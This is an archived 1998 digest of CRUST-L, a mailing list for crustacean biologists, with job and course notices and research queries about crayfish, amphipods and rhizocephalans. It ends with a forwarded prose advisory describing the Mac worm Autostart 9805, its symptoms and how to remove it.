grubby male :-) Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 11:47:32 -0400 (EDT) Subject: CRUST-L: Lectureship in Crustacean Aquaculture Please respond to the addresses below and not to me. Thanks, Jeff - ---------- Forwarded message ---------- To: crust-l@vims.edu From: Ivars Avens (by way of ""Dr. Andrew G. McArthur"" ) Subject: Lecturer in Crustacean Biology Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" UNIVERSITY OF TASMANIA LAUNCESTON SCHOOL OF AQUACULTURE Associate Lecturer/Lecturer in Crustacean Biology The School of Aquaculture seeks to appoint an Associate Lecturer (Level A) or Lecturer (Level B) to teach in Crustacean Aquaculture on a full-time limited term basis (3 - 5 years, subject to negotiation) commencing on 1 July 1998. The full text of the advertisment for this position is available as the following Adobe Acrobat file: http://www.utas.edu.au/docs/aquaculture/ad.wp.pdf For further information about the position please contact Professor Ned Pankhurst, School of Aquaculture on +61 3 6324 3801, by fax on +61 3 6324 3804 or by email Ned.Pankhurst@utas.edu.au. For an application package please contact Tracy Lowe (Tracy.Lowe@utas.edu.au) on +61 3 6226 2013 or fax on +61 3 6226 2751 and quote reference number LA 76/98. The closing date for applications is Monday 25 May 1998. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Karen T Lee Date: Thu, 30 Apr 1998 15:18:00 -0400 (EDT) Subject: CRUST-L: Crayfish identification??? I am starting a project on the ecology and distribution of crayfish in the mountains of West-Central PA. To my knowledge, next to nothing has been done here since Ortmann in 1906(5?). (I am converting myself from a marine to an aquatic ecologist, a wise decision considering my location.) After doing some reading and talking informally to people at meetings, I have come to two conclusions: 1) It is incredibly difficult to ID crayfish in the field below genus. 2) Forget about IDing females at all. So, now my questions: 1) Am I being overly pessimistic? (I sure hope so...) Is there a way to ID below genus in the field and can one ID females, at least to genus? I am trying to avoid sacrificing every crayfish we collect just so that we can ID them. 2) Does a dichotomous key to crayfish genera exist? I have Horton-Hobbs (1989) checklist and some more recent stuff, but haven't found a good key. (Though the image of myself and my undergraduate researchers perched next to a bucket of crayfish while flipping through all those pictures of reproductive appendages is amusing, it would get pretty old after a couple of weeks.) 3) Does anybody know if there is some work in Western PA that I have missed during my computer searches, like dissertations or unpublished work? 4) If field ID's are too difficult to do, what do those of you who work on crayfish do about that? Any help you can give me would be greatly appreciated. Feel free to respond privately and I will post a summary later if anybody is interested. Karen *************************************** Karen T. Lee, PhD (ktlee+@pitt.edu) Department of Biology University of Pittsburgh at Johnstown Johnstown, PA 15904 814-269-2912 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: zimmer@panix.com (Carl Zimmer) Date: Fri, 1 May 1998 10:21:12 -0500 Subject: CRUST-L: Sacculina research Greetings: I'm a journalist with an interest in parasites, including parasites of crustaceans. I was wondering if there's anyone in the northeast who's working on Sacculina or other rhizocephalans? (By northeast, I mean somewhere between Washington and Boston.) Thanks in advance. Best wishes, Carl Zimmer Senior Editor, Discover email:zimmer@panix.com phone: (212) 633-4836 fax: (212) 633-4817 Address: 114 5th Ave., 15th Floor New York, NY 10011 USA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Aaron Baldwin Date: Mon, 4 May 1998 15:42:50 -0800 (AKDT) Subject: CRUST-L: Information on Anonyx Dear Crust-lers, I am looking for references for the gammarid genus Anonyx (fam. Lysianassidae). A guide to world wide species (if such a thing exists) would be great. The species I am interested in is the one that resembles A. lilljeborgi, but has the inner ramus of the second uropod not very constricted. This species is abundant locally (in Southeast Alaska) and is something of a pest to crabbers and long-liners because they will strip bait and even hooked fish. Thanks in advance- Aaron =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Tue, 5 May 1998 14:26:23 -0900 (PDT) Subject: CRUST-L: Molecular biology cooporation My name is Uri Abdu and I am a Ph.D. student at the Department of Life Sciences at BGU in the Laboratory of Dr. Amir Sagi. We study physiological aspects of the reproduction of the newly introduced Australian red-claw crayfish Cherax quadricarinatus. I am going to spend a six month period (and if needed an extended period) in Princeton. At this point of my study we seek a collaborating laboratory with strong molecular capabilities. During that period I will be supported by a fellowship from BGU where I serve as a teaching assistant. This will cover for my salary and travel. I will appreciate if some of you will be interested or could direct me to a person whose interested in similar areas (could be also in other species or even other class of organisms) Sincerely Uri Abdu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Tue, 5 May 1998 14:30:23 -0900 (PDT) Subject: CRUST-L: molecular biology My name is Uri Abdu and I am a Ph.D. student at the Department of Life Sciences at BGU in the Laboratory of Dr. Amir Sagi. We study physiological aspects of the reproduction of the newly introduced Australian red-claw crayfish Cherax quadricarinatus. I am going to spend a six month period (and if needed an extended period) in Princeton. At this point of my study we seek a collaborating laboratory with strong molecular capabilities. During that period I will be supported by a fellowship from BGU where I serve as a teaching assistant. This will cover for my salary and travel. I will appreciate if some of you will be interested or could direct me to a person whose interested in similar areas (could be also in other species or even other class of organisms) Sincerely Uri Abdu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chip Biernbaum Date: Tue, 05 May 1998 08:57:21 -0400 (EDT) Subject: CRUST-L: Information on Anonyx Aaron, Here are two papers from the Bulletin of the Biological Society of Washington, No. 3 (1979) -- Symposium on the Composition and Evolution of Crustaceans in the Cold & Temperate Waters of the World Ocean: Steele, D. H.Clinal variation in the morphology of Anonyx nugax (Phipps) (Crustacea, Amphipoda), pp. 41-46. Steele, D. H. Zoogeography of the genus Anonyx (Crustacea, Amphipoda), pp. 47-53. Some others: Steele, D. H. 1982. The genus Anonyx (Crustacea, Amphipoda) in the North Pacific and Arctic oceans: Anonyx nugax group. Can. J. Zool. 60:1754-1775. Steele, D. H. 1983. The genus Anonyx (Crustacean, Amphipoda) in the North Pacific Ocean: Anonyx validus group. Can. J. Zool. 61:2921-2931). Steele, D. H. 1986. The genus Anonyx (Crustacea, Amphipoda) in the North Pacific and Arctic oceans: Anonyx laticoxae group. Can. J. Zool. 64:2603-2623. Steele, D. H., and P. Brunel. 1968. Amphipoda of the Atlantic and Arctic coasts of North America: Anonyx (Lysianassidae). J. Fish. Res. Bd. Canada 25(5):943-1060. [a major Anonyx reference] Hurley, D. E. 1963. Amphipoda of the family Lysianassidae from the west coast of North and Central America. Occasional Papers Allan Hancock Found. 25:1-160. [Anonyx on pp. 100-118] And for ""flavor"": Sainte-Marie, B. 1984. Morphological adaptations for carrion feeding in four species of littoral or circalittoral lysianassid amphipods. Can. J. Zool. 62:1668-1674. [includes A. sarsi] Sainte-Marie, B. 1986. Effect of bait size and sampling time on the attraction of the lysianassid amphipods Anonyx sarsi Steele & Brunel and Orchomenella pinguis (Boeck). J. Exp. Mar. Biol. Ecol. 99:63-77. Sainte-Marie, B. Feeding and swimming of lysianassid amphipods in a shallow cold-water bay. Mar. Biol. 91:219-229. [includes A. sarsi] Sainte-Marie, B., and G. Lamarche. 1985. The diets of six species of the carrion-feeding lysianassid amphipod genus Anonyx and their relation with morphology and swimming behavior. Sarsia 70:119-126. Chip >Return-path: >Date: Mon, 04 May 1998 15:42:50 -0800 (AKDT) >From: Aaron Baldwin >Subject: CRUST-L: Information on Anonyx >Sender: owner-crust-l@vims.edu >X-Sender: jsapb@ptialaska.net >To: crust-l@VIMS.EDU >Reply-to: Aaron Baldwin > >Dear Crust-lers, > >I am looking for references for the gammarid genus Anonyx (fam. >Lysianassidae). A guide to world wide species (if such a thing exists) would >be great. The species I am interested in is the one that resembles A. >lilljeborgi, but has the inner ramus of the second uropod not very >constricted. This species is abundant locally (in Southeast Alaska) and is >something of a pest to crabbers and long-liners because they will strip bait >and even hooked fish. Thanks in advance- Aaron > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu PLEASE NOTE THE NEW AREA CODE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 5 May 1998 10:29:59 -0400 (EDT) Subject: CRUST-L: ocypode quadrata (fwd) Please respond to Martin Thiel, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Martin Thiel Subject: Ocypode quadrata Hello Decapodologists, During the last few weeks we had a recurring little conversation around our coffee-pot. We were wondering about the reproduction of Ocypode quadrata. Despite being a very common crab, it appears to be difficult to track down information on its reproductive seasonality and larval settlement. A friend of mine who is working on this topic had searched several databases, but could not find any good leads. We are convinced that there must be information out there about Ocypode quadrata and its reproductive seasonality and larval settlement, and we would appreciate any hints. Thank you very much. Martin Thiel =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: penny.palmer@stonebow.otago.ac.nz (Penny) Date: Wed, 6 May 1998 11:15:24 +1200 Subject: CRUST-L: moult-free growth Kia ora I have heard of parasitic crustaceans with soft, unscleratinised cuticles, which no longer moult but continue to grow in size. What is the current understanding of this? Are these crustacea growing (addition of new cellular material), or does their cuticle simply stretch? thanks in advance Penny ************************************************************************** PENNY PALMER Department of Marine Science, University of Otago P.O. Box 56, Dunedin, New Zealand ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 email: penny.palmer@stonebow.otago.ac.nz ************************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: P.Davie@mailbox.uq.edu.au Date: Wed, 06 May 98 12:10:24 +1100 Subject: CRUST-L: Caprellid nasties All this talk of caprellids has reminded me of a young woman who turned up at the Museum with a caprellid to identify. It seems she had had a rather severe anaphylactic shock reaction after eating from a tin of smoked oysters in which this poor little fella had also been accidently entombed. It was a typical reaction that she has to crustaceans, but I was amazed that such a tiny little skinny body would cause such a problem. The Revenge of the Caprellidae! Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #140 ***************************** >From owner-crust-l Wed May 6 17:34:21 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id RAA19684 for crust-l-digest-outgoing; Wed, 6 May 1998 17:32:40 -0400 Date: Wed, 6 May 1998 17:32:40 -0400 Message-Id: <199805062132.RAA19684@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #141 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 15 crust-l-digest Wednesday, 6 May 1998 Volume 01 : Number 141 RE: CRUST-L: moult-free growth CRUST-L: course at bigelow CRUST-L: Mac Worm (fwd) CRUST-L: Lussier ] (fwd) Re: CRUST-L: moult-free growth CRUST-L: barnacles CRUST-L: Lussier ] (fwd) CRUST-L: toxic crusties responses ---------------------------------------------------------------------- From: ""Hoeg, Jens T {CAL}"" Date: Wed, 6 May 1998 08:37:27 +0200 Subject: RE: CRUST-L: moult-free growth This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BD78C3.307A5510 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear Penny I have studied rhizocephalan cirripedia extensively. It is well understood that they increase the size of the external reproductive = body by moults (1,2) However, some species are capable of drastic increases in size in between moults. In one species I studied, it seemed as if the small parasite had ""reserves"" of epithelium and cuticle infolded as bars which were later stretched and became true part of the exterior lining as the parasite increased in size (3) Finally, the internal root system of rhizocephalan barnacles is covered by a very delicate cuticle. This root system grows extensively but is NEVER moulted (4) Best regards Jens (1) Ritchie LE; H=F8eg JT. 1981. The life history of Lernaeodiscus porcellanae (Cirripedia Rhizocephala) and co-evolution with its porcellanid host. J. Crustacean Biol. 1: 334-347._ (2) H=F8eg JT; L=FCtzen J. 1995. Life cycle and reproduction in the Cirripedia Rhizocephala. Oceanogr. Mar. Biol. Annu. Rev. 33: 427-485._ (3) H=F8eg JT. 1982. The anatomy and development of the rhizocephalan barnacle Clistosaccus paguri Lilljeborg and relation to its host Pagurus bernhardus (L.). J. exp. mar. Biol. Ecol. 58: 87-125._ (4) H=F8eg JT. 1992. Rhizocephala. In: Harrison FW; Humes AG (eds). Microscopic anatomy of invertebrates. Vol. 9. Crustacea. Wiley-Liss Inc. New York. : 313-345._ Jens T. Hoeg, Ph.d, D.Sc DEPARTMENT OF CELL BIOLOGY AND ANATOMY Institute of Zoology - University of Copenhagen DK-2100 - Copenhagen - Denmark E-Mail jthoeg@zi.ku.dk Office +45 35 32 12 47 Home +45 42 84 11 60 Fax +45 35 32 12 00 ---------- From: penny.palmer@stonebow.otago.ac.nz[SMTP:penny.palmer@stonebow.otago.ac.nz= ] Sent: 6. maj 1998 01:15 To: crust-l@vims.edu Subject: CRUST-L: moult-free growth Kia ora I have heard of parasitic crustaceans with soft, unscleratinised cuticles, which no longer moult but continue to grow in size. What is the current understanding of this? Are these crustacea growing (addition of new cellular material), or does their cuticle simply stretch? thanks in advance Penny =09 ************************************************************************= ** PENNY PALMER Department of Marine Science, University of Otago P.O. Box 56, Dunedin, New Zealand ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 email: penny.palmer@stonebow.otago.ac.nz =09 ************************************************************************= ** =09 =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 13:55:42 -0400 (EDT) Subject: CRUST-L: course at bigelow Please respond to Hilary Smith and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Tue, 5 May 1998 16:05:04 From: Hilary Smith Subject: course offerings Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Methods in Underwater Ecology 3-7 Aug. (Arrive/equip. check: Sun. Aug 2) Dr. Richard Wahle Bigelow Laboratory for Ocean Sciences >From kelp beds to urchin barrens, the diverse subtidal habitats of the central Maine coast is the backdrop for a concentrated experience in underwater ecological research methods at Bigelow Laboratory. This course is geared toward upper level undergraduates and beginning graduate students desiring an overview of time-tested as well as cutting-edge methods of population, community, and behavioral ecology. We will discuss methods used in underwater observation, habitat description, and hypothesis testing. Morning briefings and evening discussions will give case studies to illustrate and critique current methods. For example, we will deal with how to customize quadrat and transect survey techniques to the demographic question at hand; the statistical principals behind minimum sample size determination; measurement of habitat patchiness and structural complexity; photographic analysis of attached biota; and in situ video analysis of fish or lobster behavior. Divers will work in teams to apply these methods while contributing to an ecological data base of sites in surrounding waters. Class size: 8 students for 4 dive teams. Prerequisites: Undergraduate courses biology and ecology or permission of instructor Certifications: Nationally recognized diver certification, CPR, First Aid Diver health/injury insurance - DAN membership - covers hyperbaric injury. ************************************************************************** Satellite Imagery as a Resource for Learning A course for teachers and students 10-21 August Cynthia Erickson Bigelow Laboratory for Ocean Sciences This two-week course provides an introduction to satellite imagery and image analysis techniques. Participants will explore satellite images and the software needed to interpret them. This course covers the nature of a digital image, electromagnetic radiation, spectral bands, reflectance patterns of land/ocean features and specific training for using the software provided. Through hands-on applications, students will learn to interpret multispectral signatures and cluster and classify an image. Accessory technologies such as GIS and GPS will be introduced. Emphasis is on the use of satellite imagery as a resource for learning. Enrollment limited to 20 students. ************************************************************************** Flow and Imaging Cytometry for the Aquatic Sciences 21 September - 2 October Dr. Michael Sieracki Bigelow Laboratory for Ocean Sciences Dr. Gunter Valet Max-Plank Institute for Biochemistry This course will cover the application of flow and imaging cytometry techniques for the study of marine microorganisms - including prokaryotes, protozoa, and phytoplankton. Basics of flow cytometry and image analysis will be covered, but emphasis will be on advanced topics such as imaging-in-flow and the use of functional fluorescent probes for measuring cytochemical processes and the intracellular physical-chemical state of living cells. Participants are encouraged to develop small projects that can make use of the resources of the Center for Culture of Marine Phytoplankton and the flow and imaging cytometry instruments here at Bigelow. ************************************************************************** Marine Microbial Ecology 5-16 October Dr. Bess Ward (1997 Hutchinson Medal Winner) Univ. California Santa Cruz Focus of this course will be on bacterial transformations in biogeochemical cycles; including conventional as well as molecular techniques to study environmental microbiology. Course includes field work (day cruise) and analysis of field samples (detection and characterization of bacteria using DNA-based methods, as well as measurement of in situ activities). Lectures will focus on the current literature and topics of current controversy. William M. Balch | Tel. 207-633-9600 Bigelow Laboratory for Ocean Sciences | Fax. 207-633-9641 P.O.B. 475; 180 McKown Point Rd | Internet bbalch@bigelow.org W. Boothbay Harbor, ME 04575 | Bigelow Laboratory for Ocean Sciences 180 McKown Point Rd., P.O. Box 475 West Boothbay Harbor, ME 04575 U.S.A. tel: 207-633-9600 fax: 207-633-9641 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:03:20 -0400 (EDT) Subject: CRUST-L: Mac Worm (fwd) Crustaceologists, If you're a Mac user, you may want to check this out. Cheers, Jeff - ---------- Forwarded message ---------- Just got this from the mac.announce newsgroup. I'll leave it to you to decide if it should be posted to the mailing lists. Phil [ the following article was posted by Gene Spafford to inform the Macintosh community about a new ""critter"", a worm that was given the name ""Autostart 9805"" by the anti-viral software community. ---Werner (CSMA moderator) ] - -----BEGIN PGP SIGNED MESSAGE----- The Macintosh world has been largely free of new Mac-specific viruses and their kin over the past few years. The last real virus to emerge was in April of 1994, when the INIT-29-B virus appeared. In 1995, we saw the Hypercard HC-9507 virus appear, and the first Microsoft Word macro virus. Thereafter, except for residual infections of old viruses, the only worrisome Macintosh-specific malware for almost 3 years have been macro viruses of Microsoft software. (Contrast this with as many as ten thousand new viruses for that other PC platform in the same time period.) Our respite has ended for the time-being. New Macintosh Worm Discovered (Autostart 9805) 4 May 1998 Virus: Autostart 9805 Damage: Adds invisible files to every disk partition and periodically causes extensive disk activity (and network activity if network disks are mounted). Will overwrite some data files with random data. Spread: PowerPC systems running the MacOS or later and with mounted HFS or HFS+ volumes. Initial infection usually requires QuickTime 2.0 or above installed. ==== Autostart-9805 is technically a worm program. It does not change any existing program or file to spread itself. Instead, it copies itself to other disk partitions so that it becomes active on other systems. The first reported appearances of this software were in Hong Kong, and it has spread very rapidly among the desktop publishing (DTP) community there. The worm can be transmitted via almost any HFS or HFS+ disk volume, including floppy disks, most removable cartridges drives, MO disks, CD-WORM disks, hard disks and even disk images. The code requires a PowerPC-based system running MacOS -- a 68K-based system will fail to run the code. The worm will also spread across networks to any mounted network file partition. Infected disks contain an invisible application file named ""DB"" (type 'APPL', creator '????', with the ""invisible"" attribute set) in the root directory, with autostart set. When the infected disk is mounted on a PowerPC MacOS system running QuickTime 2.0 or later, the ""DB"" application is launched automatically if the AutoStart feature is enabled in QuickTime. It then copies itself to the Extensions folder of the active System. It changes the name of the copy to ""Desktop Print Spooler"" and the type to 'appe' (do NOT confuse this file with the visible and legitimate ""Desktop Printer Spooler"" extension); the worm file is also invisible, and when running is not shown in the applications menu. It then restarts the computer system. The worm, in the form of the invisible application in the extension folder, is automatically launched whenever the computer system starts up. About every thirty minutes, it examines the mounted volumes. If any are not already infected, it attempts to infect them by copying itself to the root directory (renamed back to ""DB"" and type 'APPL') and setting up the AutoStart field in the boot block. Most writable volumes are successfully infected. The notable exception is server volumes, which do not have the necessary boot block fields for AutoStart. The worm file is copied to writable server volumes, but it does not get launched when the volume is mounted. Note that once the extension version of the worm is in place, turning off QuickTime makes no difference -- the virus will continue to load and spread as a result of being activated at system boot time. Damage After checking the mounted volumes for infection, the worm begins searching for certain files on each disk. Files ending with ""data"", ""cod"", and ""csa"" (case insensitive) are targeted if the data fork is larger than 100 bytes. Files ending with ""dat"" are targeted if they are larger than about 2 Mbytes (resource + data forks). When a targeted file is found, it is damaged by overwriting the data fork (up to approximately the first 1 Mbyte) with garbage. The first byte is always set to zero, and this serves as a flag to bypass the file on subsequent passes. Symptoms The worm has numerous symptoms that make it reasonably easy to identify: 1) The system unexpectedly restarts after mounting a diskette or other volume. This will only happen when the initial infection occurs. 2) The ""DB"" application name flashes briefly in the menu bar when a disk is mounted. 3) The presence of an invisible application file named ""DB"" on the root of disk volumes, or the invisible ""Desktop Print Spooler"" file in the extensions folder. Any file or disk utility program (such as ResEdit) that shows invisible files in its file selection dialogs can be used to check for the files. Be sure not to confuse the legitimate ""Desktop Printer Spooler"" file with the worm. 4) A process named ""Desktop Print Spooler"" is found (use Process Watcher or Macsbug). 5) Extensive, unexplained disk activity every 30 minutes. Prevention The risk of infection can be effectively eliminated by manually disabling the AutoStart option in the QuickTime Settings Control Panel. This will not help if the system is already infected. It will also not prevent an infected Mac from creating the invisible ""DB"" files on any partitions you share with them on a network. Versions of QuickTime prior to 2.5 do not seem to have a way to disable autoplay. You should disable QuickTime or upgrade to a recent version if you have an old release. Note: recent versions of QuickTime also have an ""Enable Audio CD AutoPlay"" option. This option can be left on. Note that disabling the autostart feature does not have any affect on the normal operation of QuickTime, and can be safely turned off. Removal & Recovery Most of the major anti-virus developers have prepared updates to their software. The remaining vendors will undoubtedly have updates soon. Users are *strongly* encouraged to run current, up-to-date anti-virus software, and to regularly incorporate vendor-supplied updates. In the absence of such software, you can remove the virus using the following steps. However, you will need to restore damaged data files from backups (you *do* make regular backups, don't you?). 1) Reboot your system with extensions off. (Reboot while pressing the shift key.) 2) Start the Apple ""Find File"" utility. Use it to search all volumes for files whose name is exactly ""DB"" and which are invisible. (To select for visibility, hold down the option key when clicking on the ""Name"" pop-up menu; use ""more choices"" to select both search criteria.) Drag found files from the Find window to the trash. 3) Search again, for the ""Desktop Print Spooler"" file. Delete it also. (Be sure to NOT delete the legitimate ""Desktop Printer Spooler""!!). 4) Empty the trash. 5) Open the ""QuickTime Settings"" control panel and disable autostart unless there is some significant reason you need it. 6) Restart. Commercial Updates Tool: Disinfectant Status: Freeware (courtesy of John Norstad and Northwestern Univ.) Revision to be released: undecided When available: undecided -- to be determined Where to find: usual archives. Online at Comments: Disinfectant does not scan for macro viruses, so it is wise to obtain and use a commercial anti-virus tool. An update may not be produced -- an announcement one way or the other will be made soon. Tool: Dr. Solomon's Anti-virus Toolkit Status: Commercial When available: unknown Where to find: via the AVTK WWW page: Tool: Network Associates VirusScan for the Mac Status: Commercial When available: unknown Tool: SAM (Symmantic Anti-virus for the Mac) Status: Commercial When available: soon Where 